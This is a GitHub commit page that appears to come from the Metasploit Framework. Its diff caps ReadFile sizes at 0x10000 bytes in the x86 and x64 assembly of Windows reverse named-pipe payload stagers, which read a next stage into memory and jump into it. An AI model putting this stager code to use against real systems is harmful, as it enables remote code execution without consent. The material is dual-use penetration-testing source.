Skip to content

Commit c8b8ef0

Browse files
OJBrent Cook
authored andcommitted
Force max 0x10000 bytes when reading from pipe in stager
1 parent bfdea35 commit c8b8ef0

File tree

2 files changed

+16
-17
lines changed

2 files changed

+16
-17
lines changed

lib/msf/core/payload/windows/reverse_named_pipe.rb

Lines changed: 8 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -208,21 +208,14 @@ def asm_reverse_named_pipe(opts={})
208208
push ebx ; push the address of the new stage so we can return into it
209209
210210
read_more:
211-
; Query/read the bytes that are on the pipe first using PeekNamedPipe
212-
push eax ; space for the number of bytes
213-
mov eax, esp ; store the pointer
214-
push 0 ; lpBytesLeftThisMessage
215-
push eax ; lpTotalBytesAvail
216-
push 0 ; lpBytesRead
217-
push esi ; nBufferSize
218-
push ebx ; lpBuffer
219-
push edi ; hFile
220-
push #{Rex::Text.block_api_hash('kernel32.dll', 'PeekNamedPipe')}
221-
call ebp ; PeekNamedPipe(...) to query
222-
pop ecx ; Get the bytes read/available
223-
push ecx ; leave the result on the stack
224-
225-
; Invoke a read to flush the read data
211+
; prepare the size min(0x10000, esi)
212+
mov ecx, 0x10000 ; stupid named pipe buffer limit
213+
cmp ecx, esi
214+
jle size_is_good
215+
mov ecx, esi
216+
217+
size_is_good:
218+
; Invoke a read
226219
push eax ; space for the number of bytes
227220
mov eax, esp ; store the pointer
228221
push 0 ; lpOverlapped
@@ -232,7 +225,6 @@ def asm_reverse_named_pipe(opts={})
232225
push edi ; hFile
233226
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
234227
call ebp ; ReadFile(...) to read the data
235-
pop ecx ; Ignore the result from readfile
236228
^
237229

238230
if reliable

lib/msf/core/payload/windows/x64/reverse_named_pipe.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -212,10 +212,17 @@ def asm_reverse_named_pipe(opts={})
212212
mov r15, rax ; save the address so we can jump into it later
213213
214214
read_more:
215+
; prepare the size min(0x10000, esi)
216+
mov r8, 0x10000 ; stupid named pipe buffer limit
217+
cmp r8, rsi
218+
jle size_is_good
219+
mov r8, rsi
220+
221+
size_is_good:
222+
; Invoke a read
215223
push 0 ; buffer for lpNumberOfBytesRead
216224
mov r9, rsp ; lpNumberOfBytesRead
217225
mov rdx, rbx ; lpBuffer
218-
mov r8, rsi ; nNumberOfBytesToRead
219226
push 0 ; lpOverlapped
220227
mov rcx, rdi ; hFile
221228
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}

0 commit comments

Comments
 (0)